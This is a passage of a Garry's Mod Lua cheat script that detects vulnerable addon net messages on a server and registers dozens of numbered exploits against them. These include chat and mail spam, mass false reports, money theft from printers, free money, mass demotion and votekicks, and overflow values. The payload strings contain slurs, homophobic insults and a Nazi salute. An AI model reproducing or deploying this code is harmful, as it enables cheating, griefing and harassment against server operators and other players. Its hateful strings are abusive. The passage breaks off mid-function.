1994 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200, 0, 0, 200), false, true)
1995 end
1996 end
1997
1998 function ExitButton.DoClick()
1999 base:Remove()
2000 net.Start("changeToPhysgun")
2001 net.SendToServer()
2002 end
2003
2004 local DTeamChoice = vgui.Create("DComboBox", base)
2005 DTeamChoice:SetSize(150, 22)
2006 DTeamChoice:SetPos(75, 50)
2007 DTeamChoice:SetValue("Select Job")
2008
2009 for k, v in pairs(team.GetAllTeams()) do
2010 if not (HIDDEN_TEAMS[k]) and (team.NumPlayers(k) ~= 0) then
2011 DTeamChoice:AddChoice(team.GetName(k))
2012 end
2013 end
2014
2015 DTeamChoice.OnSelect = function(panel, index, value)
2016 for k, _ in pairs(team.GetAllTeams()) do
2017 if value == team.GetName(k) then
2018 for _, v in pairs(player.GetAll()) do
2019 if v:Team() == k then
2020 TeamNum = v:Team()
2021 disguise_Model_Preview_Default = v:GetModel()
2022 end
2023 end
2024 end
2025 end
2026
2027 timer.Create("RefreshModel", 0.1, 0, function()
2028 local icon = vgui.Create("DModelPanel", base)
2029 icon:SetSize(300, 260)
2030 icon:SetPos(-5, 80)
2031 icon:SetFOV(68)
2032 icon:SetModel(disguise_Model_Preview_Default)
2033
2034 timer.Simple(0.1, function()
2035 icon:Remove()
2036 end)
2037 end)
2038
2039 local DisguiseButton = vgui.Create("DButton", base)
2040 DisguiseButton:SetPos(base:GetWide() / 2.5, 360)
2041 DisguiseButton:SetSize(60, 20)
2042 DisguiseButton:SetText("Accept")
2043 DisguiseButton:SetFont("DermaDefaultBold")
2044
2045 function DisguiseButton:Paint()
2046 if DisguiseButton.Hovered then
2047 if DisguiseButton:IsDown() then
2048 DisguiseButton:SetTextColor(Color(200, 200, 200, 200))
2049 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 200))
2050 else
2051 DisguiseButton:SetTextColor(Color(255, 255, 255, 255))
2052 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 220, 0, 255))
2053 end
2054 else
2055 DisguiseButton:SetTextColor(Color(20, 20, 20, 200))
2056 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 255))
2057 end
2058 end
2059
2060 function DisguiseButton:DoClick()
2061 net.Start("SetPlayerModel")
2062
2063 if ChosenName == nil then
2064 net.WriteString(LocalPlayer():Nick())
2065 else
2066 net.WriteString(ChosenName)
2067 end
2068
2069 net.WriteUInt(TeamNum, 16)
2070 net.SendToServer()
2071 base:Close()
2072 net.Start("changeToPhysgun")
2073 net.SendToServer()
2074 end
2075 end
2076 end)
2077 end
2078
2079 status = ValidNetString("Chatbox_PlayerChat")
2080
2081 if (status) then
2082 ECPrint("Found Exploit: WilloxChat Spam [Chatbox_PlayerChat]")
2083
2084 addExploit("42", "WilloxChat Spam", "spam in chat", function()
2085 surface.PlaySound("garrysmod/ui_click.wav")
2086 ECNotify("Starting")
2087
2088 timer.Create("willoxchatspam", 1, 0, function()
2089 net.Start("Chatbox_PlayerChat")
2090 net.WriteEntity(LocalPlayer())
2091 net.WriteBit(1)
2092 net.WriteString("FAGGOTS")
2093 net.WriteBit(1)
2094 net.SendToServer()
2095 end)
2096 end)
2097 end
2098
2099 status = ValidNetString("BuilderXToggleKill")
2100
2101 if (status) then
2102 ECPrint("Found Exploit: BuilderXToggleKill [BuilderXToggleKill]")
2103
2104 addExploit("43", "BuilderXToggleKill", "old exploit, i dont remember what he was doing", function()
2105 surface.PlaySound("garrysmod/ui_click.wav")
2106 ECNotify("Starting")
2107
2108 for k, v in pairs(player.GetAll()) do
2109 net.Start("BuilderXToggleKill")
2110 net.WriteEntity(ply)
2111 net.SendToServer()
2112 end
2113 end)
2114 end
2115
2116 status = ValidNetString("reports.submit")
2117
2118 if (status) then
2119 ECPrint("Found Exploit: Report All [reports.submit]")
2120
2121 addExploit("44", "Report All", "Report all faggots", function()
2122 surface.PlaySound("garrysmod/ui_click.wav")
2123 ECNotify("Starting")
2124
2125 for k, v in pairs(player.GetAll()) do
2126 net.Start("reports.submit")
2127 net.WriteEntity(v)
2128 net.WriteInt(5, 8)
2129 net.WriteString("SuckMyDick")
2130 net.SendToServer()
2131 end
2132 end)
2133 end
2134
2135 status = ValidNetString("services_accept")
2136
2137 if (status) then
2138 ECPrint("Found Exploit: Infernus Service Accept [services_accept]")
2139
2140 addExploit("45", "Infernus Service Accept", "spam to all players", function()
2141 surface.PlaySound("garrysmod/ui_click.wav")
2142 ECNotify("Starting")
2143
2144 timer.Create("serviceaccept", 0, 0, function()
2145 for k, v in pairs(player.GetAll()) do
2146 net.Start("services_accept")
2147 net.WriteString("Nice security, retards xd")
2148 net.WriteVector(Vector(v:GetPos()))
2149 net.WriteString("test image")
2150 net.WriteEntity(v)
2151 net.SendToServer()
2152 end
2153 end)
2154
2155 timer.Simple(4, function()
2156 timer.Destroy("serviceaccept")
2157 end)
2158 end)
2159 end
2160
2161 status = ValidNetString("lockpick_sound")
2162
2163 if (status) then
2164 ECPrint("Found Exploit: LockPick Sound Spam [lockpick_sound]")
2165
2166 addExploit("46", "LockPick Sound Spam", "", function()
2167 surface.PlaySound("garrysmod/ui_click.wav")
2168 ECNotify("Starting")
2169
2170 timer.Create("spamlockpicksound", 3, 0, function()
2171 for k, v in pairs(player.GetAll()) do
2172 net.Start("lockpick_sound")
2173 net.WriteEntity(v)
2174 net.SendToServer()
2175 end
2176 end)
2177
2178 timer.Simple(4, function()
2179 timer.Destroy("spamlockpicksound")
2180 end)
2181 end)
2182 end
2183
2184 status = ValidNetString("customprinter_get")
2185
2186 if (status) then
2187 ECPrint("Found Exploit: Realistic Printers Steal Money [customprinter_get]")
2188
2189 addExploit("47", "Realistic Printers Steal Money", "stealing money from printers", function()
2190 surface.PlaySound("garrysmod/ui_click.wav")
2191 ECNotify("Starting")
2192
2193 for k, v in pairs(ents.GetAll()) do
2194 if v:GetClass():find("print") then
2195 net.Start("customprinter_get")
2196 net.WriteEntity(v)
2197 net.WriteString("g_money")
2198 net.SendToServer()
2199 end
2200 end
2201 end)
2202 end
2203
2204 status = ValidNetString("InformPlayer")
2205
2206 if (status) then
2207 ECPrint("Found Exploit: SimpleGrab Inform [InformPlayer]")
2208
2209 addExploit("48", "SimpleGrab Inform", "Spam all players in the console", function()
2210 surface.PlaySound("garrysmod/ui_click.wav")
2211 ECNotify("Starting")
2212
2213 for k, v in pairs(player.GetAll()) do
2214 for i = 0, 100 do
2215 net.Start("InformPlayer")
2216 net.WriteEntity(v)
2217 net.SendToServer()
2218 end
2219 end
2220 end)
2221 end
2222
2223 status = ValidNetString("pogcp_report_submitReport")
2224
2225 if (status) then
2226 ECPrint("Found Exploit: Report All #2 [pogcp_report_submitReport]")
2227
2228 addExploit("49", "Report All #2", "Report all faggots", function()
2229 surface.PlaySound("garrysmod/ui_click.wav")
2230 ECNotify("Starting")
2231
2232 for i = 0, 100 do
2233 for k, v in pairs(player.GetAll()) do
2234 net.Start("pogcp_report_submitReport")
2235 net.WriteString("lol")
2236 net.WriteString("nice security retards")
2237 net.WriteEntity(v)
2238 net.SendToServer()
2239 end
2240 end
2241 end)
2242 end
2243
2244 status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
2245
2246 if (status) then
2247 ECPrint("Found Exploit: Fuhrer Submit Candidacy [1942_Fuhrer_SubmitCandidacy]")
2248
2249 addExploit("50", "Fuhrer Submit Candidacy", "you instantly become a Fuhrer, Sieg Heil", function()
2250 surface.PlaySound("garrysmod/ui_click.wav")
2251 ECNotify("Starting")
2252 net.Start("1942_Fuhrer_SubmitCandidacy")
2253 net.WriteString(LocalPlayer():Nick())
2254 net.SendToServer()
2255 end)
2256 end
2257
2258 status = ValidNetString("FacCreate")
2259
2260 if (status) then
2261 ECPrint("Found Exploit: Fac Create [FacCreate]")
2262
2263 addExploit("51", "Fac Create", "old exploit", function()
2264 surface.PlaySound("garrysmod/ui_click.wav")
2265 ECNotify("Starting")
2266
2267 timer.Create("fucklol", 1, 0, function()
2268 net.Start("FacCreate")
2269 net.WriteString("LOL " .. random_string(5))
2270 net.WriteString("LOL " .. random_string(10))
2271 net.WriteColor(random_color())
2272 net.WriteBool(false)
2273 net.WriteString(random_string(5))
2274 net.SendToServer()
2275 end)
2276 end)
2277 end
2278
2279 status = ValidNetString("FactionInviteConsole")
2280
2281 if (status) then
2282 ECPrint("Found Exploit: Faction Invite [FactionInviteConsole]")
2283
2284 addExploit("52", "Faction Invite", "", function()
2285 surface.PlaySound("garrysmod/ui_click.wav")
2286 ECNotify("Starting")
2287
2288 timer.Create("lovedarkexploitsxd", 1, 0, function()
2289 for k, v in pairs(player.GetAll()) do
2290 net.Start("FactionInviteConsole")
2291 net.WriteEntity(ply)
2292 net.WriteEntity(table.Random(player.GetAll()))
2293 net.SendToServer()
2294 end
2295 end)
2296 end)
2297 end
2298
2299 status = ValidNetString("WithdrewBMoney")
2300
2301 if (status) then
2302 ECPrint("Found Exploit: Free Money #2 [WithdrewBMoney]")
2303
2304 addExploit("53", "Free Money #2", "an exploit in the addon 'business'", function()
2305 surface.PlaySound("garrysmod/ui_click.wav")
2306 ECNotify("Starting")
2307 net.Start("WithdrewBMoney")
2308 net.WriteInt(50000, 32)
2309 net.SendToServer()
2310 end)
2311 end
2312
2313 status = ValidNetString("deathrag_takeitem")
2314
2315 if (status) then
2316 ECPrint("Found Exploit: Easy Items [deathrag_takeitem]")
2317
2318 addExploit("54", "Easy Items", "collects money, weapons", function()
2319 surface.PlaySound("garrysmod/ui_click.wav")
2320 ECNotify("Starting")
2321 count = 0
2322
2323 for k, v in pairs(ents.GetAll()) do
2324 if v:GetClass() == "prop_ragdoll" then
2325 count = count + 1
2326 end
2327 end
2328
2329 if count == 0 then
2330 ECPrint("No items found")
2331 else
2332 ECPrint("Amount of items " .. count)
2333 end
2334
2335 for k, v in pairs(ents.GetAll()) do
2336 if v:GetClass() == "prop_ragdoll" then
2337 for i = 1, 10 do
2338 net.Start("deathrag_takeitem")
2339 net.WriteEntity(v)
2340 net.WriteInt(i, 16)
2341 net.SendToServer()
2342 end
2343 end
2344 end
2345 end)
2346 end
2347
2348 status = ValidNetString("REPPurchase")
2349
2350 if (status) then
2351 ECPrint("Found Exploit: Heal and Armor [REPPurchase]")
2352
2353 addExploit("55", "Heal and Armor", "armor and hp", function()
2354 surface.PlaySound("garrysmod/ui_click.wav")
2355 ECNotify("Starting")
2356
2357 if LocalPlayer():Health() < 99 then
2358 net.Start("REPPurchase")
2359 net.WriteString("HEALTH")
2360 net.SendToServer()
2361 end
2362
2363 if LocalPlayer():Armor() < 99 then
2364 net.Start("REPPurchase")
2365 net.WriteString("ARMOR")
2366 net.SendToServer()
2367 end
2368 end)
2369 end
2370
2371 status = ValidNetString("BTTTStartVotekick")
2372
2373 if (status) then
2374 ECPrint("Found Exploit: Votekick #2 [BTTTStartVotekick]")
2375
2376 addExploit("56", "Votekick #2", "kick all noobs", function()
2377 surface.PlaySound("garrysmod/ui_click.wav")
2378 ECNotify("Starting")
2379
2380 for k, v in pairs(player.GetAll()) do
2381 if v ~= LocalPlayer() then
2382 net.Start("BTTTStartVotekick")
2383 net.Start("_nonDBVMVote")
2384 net.WriteEntity(v)
2385 net.WriteString("")
2386 net.WriteString("1")
2387 net.SendToServer()
2388 end
2389 end
2390 end)
2391 end
2392
2393 status = ValidNetString("Resupply")
2394
2395 if (status) then
2396 ECPrint("Found Exploit: Respawn Equipment [Resupply]")
2397
2398 addExploit("57", "Respawn Equipment", "", function()
2399 surface.PlaySound("garrysmod/ui_click.wav")
2400 ECNotify("Starting")
2401 net.Start("Resupply")
2402 net.SendToServer()
2403 end)
2404 end
2405
2406 status = ValidNetString("DarkRP_Defib_ForceSpawn")
2407
2408 if (status) then
2409 ECPrint("Found Exploit: Respawn #2 [DarkRP_Defib_ForceSpawn]")
2410
2411 addExploit("58", "Respawn #2", "just respawn", function()
2412 surface.PlaySound("garrysmod/ui_click.wav")
2413 ECNotify("Respawn")
2414 net.Start("DarkRP_Defib_ForceSpawn")
2415 net.SendToServer()
2416 end)
2417 end
2418
2419 status = ValidNetString("FiremanLeave")
2420
2421 if (status) then
2422 ECPrint("Found Exploit: Fireman Leave [FiremanLeave]")
2423
2424 addExploit("59", "Fireman Leave", "", function()
2425 surface.PlaySound("garrysmod/ui_click.wav")
2426 ECNotify("Starting")
2427 net.Start("FiremanLeave")
2428 net.SendToServer()
2429 end)
2430 end
2431
2432 status = ValidNetString("PoliceJoin")
2433
2434 if (status) then
2435 ECPrint("Found Exploit: Join the Police 1 [PoliceJoin]")
2436
2437 addExploit("60", "Join the Police 1", "joining the police", function()
2438 surface.PlaySound("garrysmod/ui_click.wav")
2439 ECNotify("Starting")
2440 net.Start("PoliceJoin")
2441 net.SendToServer()
2442 end)
2443 end
2444
2445 status = ValidNetString("CreateEntity")
2446
2447 if (status) then
2448 ECPrint("Found Exploit: Create Entity [CreateEntity]")
2449
2450 addExploit("61", "Create Entity", "", function()
2451 surface.PlaySound("garrysmod/ui_click.wav")
2452 ECNotify("Starting")
2453
2454 for k, v in pairs(player.GetAll()) do
2455 net.Start("CreateEntity")
2456 net.WriteString("sent_arc_atm")
2457 net.WriteFloat(100000000000000000000000000000000000000000000000000)
2458 net.WriteEntity(v)
2459 net.SendToServer()
2460 end
2461 end)
2462 end
2463
2464 status = ValidNetString("CREATE_REPORT")
2465
2466 if (status) then
2467 ECPrint("Found Exploit: CREATE REPORT [CREATE_REPORT]")
2468
2469 addExploit("62", "CREATE REPORT", "", function()
2470 surface.PlaySound("garrysmod/ui_click.wav")
2471 ECNotify("Starting")
2472
2473 local tab = {
2474 REPORTER = v:Nick(),
2475 REPORTERID = v:SteamID(),
2476 FAGGOT = v:Nick(),
2477 FAGGOTID = v:SteamID(),
2478 INFO = "Say hi to youtube",
2479 PROOF = "https://www.youtube.com/channel/UCmiP5W8BuaLzzGcJVKORErg"
2480 }
2481
2482 for k, v in pairs(player.GetAll()) do
2483 net.Start("CREATE_REPORT")
2484 net.WriteTable(tab)
2485 net.SendToServer()
2486 end
2487 end)
2488 end
2489
2490 status = ValidNetString("Hopping_Test")
2491
2492 if (status) then
2493 ECPrint("Found Exploit: Hopping Test [Hopping_Test]")
2494
2495 addExploit("62", "Hopping Test", "", function()
2496 surface.PlaySound("garrysmod/ui_click.wav")
2497 ECNotify("Starting")
2498
2499 for k, v in pairs(player.GetAll()) do
2500 net.Start("Hopping_Test")
2501 net.WriteEntity(v)
2502 net.WriteString("69.696.696969.69")
2503 net.SendToServer()
2504 end
2505 end)
2506 end
2507
2508 status = ValidNetString("CpForm_Answers")
2509
2510 if (status) then
2511 ECPrint("Found Exploit: Join the Police 2 [CpForm_Answers]")
2512
2513 addExploit("63", "Join the Police 2", "joining the police #2", function()
2514 surface.PlaySound("garrysmod/ui_click.wav")
2515 ECNotify("Starting")
2516 net.Start("CpForm_Answers")
2517 net.WriteEntity(LocalPlayer())
2518 net.WriteTable({})
2519 net.SendToServer()
2520 end)
2521 end
2522
2523 status = ValidNetString("VehicleUnderglow")
2524
2525 if (status) then
2526 ECPrint("Found Exploit: Vehicle Underglow [VehicleUnderglow]")
2527
2528 addExploit("64", "Vehicle Underglow", "", function()
2529 surface.PlaySound("garrysmod/ui_click.wav")
2530 ECNotify("Starting")
2531 net.Start("VehicleUnderglow")
2532 net.SendToServer()
2533 end)
2534 end
2535
2536 status = ValidNetString("OpenGates")
2537
2538 if (status) then
2539 ECPrint("Found Exploit: Open Door #2 [OpenGates]")
2540
2541 addExploit("65", "Open Door #2", "Force open the door you are looking at", function()
2542 surface.PlaySound("garrysmod/ui_click.wav")
2543 ECNotify("Starting")
2544 net.Start("OpenGates")
2545 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
2546 net.SendToServer()
2547 end)
2548 end
2549
2550 status = ValidNetString("DemotePlayer")
2551
2552 if (status) then
2553 ECPrint("Found Exploit: Demote All Players [DemotePlayer]")
2554
2555 addExploit("66", "Demote All Players", "Demote all players", function()
2556 surface.PlaySound("garrysmod/ui_click.wav")
2557 ECNotify("Starting")
2558
2559 for k, v in pairs(player.GetAll()) do
2560 net.Start("DemotePlayer")
2561 net.WriteString(v:SteamID())
2562 net.SendToServer()
2563 end
2564 end)
2565 end
2566
2567 status = ValidNetString("SendMail")
2568
2569 if (status) then
2570 ECPrint("Found Exploit: Send Mail [SendMail]")
2571
2572 addExploit("67", "Send Mail", "sending mail to all players", function()
2573 surface.PlaySound("garrysmod/ui_click.wav")
2574 ECNotify("Starting")
2575
2576 for k, v in pairs(player.GetAll()) do
2577 net.Start("SendMail")
2578 net.WriteString("haha nice security retards")
2579 net.WriteString(v:Nick())
2580 net.SendToServer()
2581 end
2582 end)
2583 end
2584
2585 status = ValidNetString("REPAdminChangeLVL")
2586
2587 if (status) then
2588 ECPrint("Found Exploit: Admin Change Level [REPAdminChangeLVL]")
2589
2590 addExploit("68", "Admin Change Level", "free lvl", function()
2591 surface.PlaySound("garrysmod/ui_click.wav")
2592 ECNotify("Starting")
2593
2594 for k, v in pairs(player.GetAll()) do
2595 net.Start("REPAdminChangeLVL")
2596 net.WriteEntity(v)
2597 net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2598 net.SendToServer()
2599 end
2600 end)
2601 end
2602
2603 status = ValidNetString("BuyUpgradesStuff")
2604
2605 if (status) then
2606 ECPrint("Found Exploit: Buy Upgrades [BuyUpgradesStuff]")
2607
2608 addExploit("69", "Buy Upgrades", "free upgrades", function()
2609 surface.PlaySound("garrysmod/ui_click.wav")
2610 ECNotify("Starting")
2611 net.Start("BuyUpgradesStuff")
2612 net.WriteString("")
2613 net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2614 net.SendToServer()
2615 end)
2616 end
2617
2618 status = ValidNetString("SquadGiveWeapon")
2619
2620 if (status) then
2621 ECPrint("Found Exploit: Give Weapons [SquadGiveWeapon]")
2622
2623 addExploit("70", "Give Weapons", "easy weapon", function()
2624 surface.PlaySound("garrysmod/ui_click.wav")
2625 inputFrameExists = true
2626 inputFrame = vgui.Create("DFrame")
2627 inputFrame:SetTitle("Choose a weapon!")
2628 inputFrame:SetSize(400, 75)
2629 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2630 inputFrame:SetDraggable(false)
2631 inputFrame:ShowCloseButton(true)
2632 inputFrame:MakePopup()
2633
2634 inputFrame.Paint = function(self, w, h)
2635 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2636 end
2637
2638 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2639 TextEntry:SetSize(380, 30)
2640 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2641 TextEntry:SetText("ls_sniper")
2642
2643 TextEntry.OnEnter = function(self)
2644 surface.PlaySound("garrysmod/ui_click.wav")
2645 ECNotify("Giving Weapon")
2646 net.Start("SquadGiveWeapon")
2647 net.WriteString(self:GetValue())
2648 net.WriteEntity(LocalPlayer())
2649 net.SendToServer()
2650 inputFrame:SetVisible(false)
2651 end
2652 end)
2653 end
2654
2655 status = ValidNetString("SetTableTarget")
2656
2657 if (status) then
2658 ECPrint("Found Exploit: Set Table Target [SetTableTarget]")
2659
2660 addExploit("71", "Set Table Target", "", function()
2661 surface.PlaySound("garrysmod/ui_click.wav")
2662 ECNotify("Starting")
2663 net.Start("SetTableTarget")
2664 net.WriteString("pername")
2665 net.WriteString("perjob")
2666 net.WriteInt(-10000000000000, 32)
2667 net.WriteString("hitmansel")
2668 net.WriteString("Anony.")
2669 net.WriteString("")
2670 net.WriteFloat(0)
2671 net.WriteInt(-10000000000000, 32)
2672 net.SendToServer()
2673 end)
2674 end
2675
2676 status = ValidNetString("UpdateRPUModelSQL")
2677
2678 if (status) then
2679 ECPrint("Found Exploit: Change character model [UpdateRPUModelSQL]")
2680
2681 addExploit("72", "Change character model", "", function()
2682 surface.PlaySound("garrysmod/ui_click.wav")
2683 ECNotify("Starting")
2684 net.Start("UpdateRPUModelSQL")
2685 net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
2686 net.SendToServer()
2687 end)
2688 end
2689
2690 status = ValidNetString("disguise")
2691
2692 if (status) then
2693 ECPrint("Found Exploit: Disguise [disguise]")
2694
2695 addExploit("73", "Disguise", "allows you to disguise as any job", function()
2696 surface.PlaySound("garrysmod/ui_click.wav")
2697 inputFrameExists = true
2698 inputFrame = vgui.Create("DFrame")
2699 inputFrame:SetTitle("Enter the number of the job")
2700 inputFrame:SetSize(400, 75)
2701 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2702 inputFrame:SetDraggable(false)
2703 inputFrame:ShowCloseButton(true)
2704 inputFrame:MakePopup()
2705
2706 inputFrame.Paint = function(self, w, h)
2707 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2708 end
2709
2710 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2711 TextEntry:SetSize(380, 30)
2712 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2713 TextEntry:SetText("5")
2714
2715 TextEntry.OnEnter = function(self)
2716 surface.PlaySound("garrysmod/ui_click.wav")
2717 ECNotify("Disguised")
2718 net.Start("disguise")
2719 net.WriteInt(tonumber(self:GetValue()), 32)
2720 net.SendToServer()
2721 inputFrame:SetVisible(false)
2722 end
2723 end)
2724 end
2725
2726 status = ValidNetString("gportal_rpname_change")
2727
2728 if (status) then
2729 ECPrint("Found Exploit: Your RP Name #1 [gportal_rpname_change]")
2730
2731 addExploit("74", "Your RP Name #1", "allows you to put absolutely any rp name", function()
2732 surface.PlaySound("garrysmod/ui_click.wav")
2733 inputFrameExists = true
2734 inputFrame = vgui.Create("DFrame")
2735 inputFrame:SetTitle("Enter your name")
2736 inputFrame:SetSize(400, 75)
2737 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2738 inputFrame:SetDraggable(false)
2739 inputFrame:ShowCloseButton(true)
2740 inputFrame:MakePopup()
2741
2742 inputFrame.Paint = function(self, w, h)
2743 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2744 end
2745
2746 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2747 TextEntry:SetSize(380, 30)
2748 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2749 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2750
2751 TextEntry.OnEnter = function(self)
2752 surface.PlaySound("garrysmod/ui_click.wav")
2753 ECNotify("Changed")
2754 net.Start("gportal_rpname_change")
2755 net.WriteString((self:GetValue()), 32)
2756 net.WriteString(" ")
2757 net.SendToServer()
2758 inputFrame:SetVisible(false)
2759 end
2760 end)
2761 end
2762
2763 status = ValidNetString("NewRPNameSQL")
2764
2765 if (status) then
2766 ECPrint("Found Exploit: Your RP Name #2 [NewRPNameSQL]")
2767
2768 addExploit("75", "Your RP Name #2", "allows you to put absolutely any rp name", function()
2769 surface.PlaySound("garrysmod/ui_click.wav")
2770 inputFrameExists = true
2771 inputFrame = vgui.Create("DFrame")
2772 inputFrame:SetTitle("Enter your name")
2773 inputFrame:SetSize(400, 75)
2774 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2775 inputFrame:SetDraggable(false)
2776 inputFrame:ShowCloseButton(true)
2777 inputFrame:MakePopup()
2778
2779 inputFrame.Paint = function(self, w, h)
2780 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2781 end
2782
2783 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2784 TextEntry:SetSize(380, 30)
2785 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2786 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2787
2788 TextEntry.OnEnter = function(self)
2789 surface.PlaySound("garrysmod/ui_click.wav")
2790 ECNotify("Changed")
2791 net.Start("NewRPNameSQL")
2792 net.WriteString((self:GetValue()), 32)
2793 net.SendToServer()
2794 inputFrame:SetVisible(false)
2795 end
2796 end)
2797 end
2798
2799 status = ValidNetString("chname")
2800
2801 if (status) then
2802 ECPrint("Found Exploit: Your RP Name #3 [chname]")
2803
2804 addExploit("76", "Your RP Name #3", "discovered by Leith", function()
2805 surface.PlaySound("garrysmod/ui_click.wav")
2806 inputFrameExists = true
2807 inputFrame = vgui.Create("DFrame")
2808 inputFrame:SetTitle("Enter your name")
2809 inputFrame:SetSize(400, 75)
2810 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2811 inputFrame:SetDraggable(false)
2812 inputFrame:ShowCloseButton(true)
2813 inputFrame:MakePopup()
2814
2815 inputFrame.Paint = function(self, w, h)
2816 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2817 end
2818
2819 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2820 TextEntry:SetSize(380, 30)
2821 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2822 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2823
2824 TextEntry.OnEnter = function(self)
2825 surface.PlaySound("garrysmod/ui_click.wav")
2826 ECNotify("Changed")
2827 net.Start("chname")
2828 net.WriteString((self:GetValue()))
2829 net.WriteString(" ")
2830 net.SendToServer()
2831 inputFrame:SetVisible(false)
2832 end
2833 end)
2834 end
2835
2836 status = ValidNetString("AbilityUse")
2837
2838 if (status) then
2839 ECPrint("Found Exploit: Free Bonus [AbilityUse]")
2840
2841 addExploit("77", "Free Bonus", "allows you to instantly get bonuses", function()
2842 surface.PlaySound("garrysmod/ui_click.wav")
2843
2844 for k, v in ipairs(rp.abilities.list) do
2845 ECPrint("ID - " .. k .. " | " .. v:GetName())
2846 inputFrameExists = true
2847 inputFrame = vgui.Create("DFrame")
2848 inputFrame:SetTitle("Enter the id of the bonus")
2849 inputFrame:SetSize(400, 75)
2850 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2851 inputFrame:SetDraggable(false)
2852 inputFrame:ShowCloseButton(true)
2853 inputFrame:MakePopup()
2854
2855 inputFrame.Paint = function(self, w, h)
2856 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2857 end
2858
2859 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2860 TextEntry:SetSize(380, 30)
2861 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2862 TextEntry:SetText("6")
2863
2864 TextEntry.OnEnter = function(self)
2865 surface.PlaySound("garrysmod/ui_click.wav")
2866 ECNotify("Received")
2867 net.Start("AbilityUse")
2868 net.WriteInt(tonumber(self:GetValue()), 32)
2869 net.SendToServer()
2870 inputFrame:SetVisible(false)
2871 end
2872 end
2873 end)
2874 end
2875
2876 status = ValidNetString("race_accept")
2877
2878 if (status) then
2879 ECPrint("Found Exploit: Get Car [race_accept]")
2880
2881 addExploit("78", "Get Car", "", function()
2882 surface.PlaySound("garrysmod/ui_click.wav")
2883 inputFrameExists = true
2884 inputFrame = vgui.Create("DFrame")
2885 inputFrame:SetTitle("Enter the id of the car")
2886 inputFrame:SetSize(400, 75)
2887 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2888 inputFrame:SetDraggable(false)
2889 inputFrame:ShowCloseButton(true)
2890 inputFrame:MakePopup()
2891
2892 inputFrame.Paint = function(self, w, h)
2893 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2894 end
2895
2896 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2897 TextEntry:SetSize(380, 30)
2898 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2899 TextEntry:SetText("1")
2900
2901 TextEntry.OnEnter = function(self)
2902 surface.PlaySound("garrysmod/ui_click.wav")
2903 ECNotify("Starting")
2904 net.Start("race_accept")
2905 net.WriteInt(tonumber(self:GetValue()), 32)
2906 net.SendToServer()
2907 end
2908 end)
2909 end
2910
2911 status = ValidNetString("NLR_SPAWN")
2912
2913 if (status) then
2914 ECPrint("Found Exploit: Respawn #3 [NLR_SPAWN]")
2915
2916 addExploit("79", "Respawn #3", "instant revival", function()
2917 surface.PlaySound("garrysmod/ui_click.wav")
2918 ECNotify("Starting")
2919 net.Start("NLR_SPAWN")
2920 net.WriteEntity(LocalPlayer())
2921 net.SendToServer()
2922 end)
2923 end
2924
2925 status = ValidNetString("Kun_ZiptieStruggle")
2926
2927 if (status) then
2928 ECPrint("Found Exploit: Break Handcuffs [Kun_ZiptieStruggle]")
2929
2930 addExploit("80", "Break Handcuffs", "Instantly breaks the handcuffs", function()
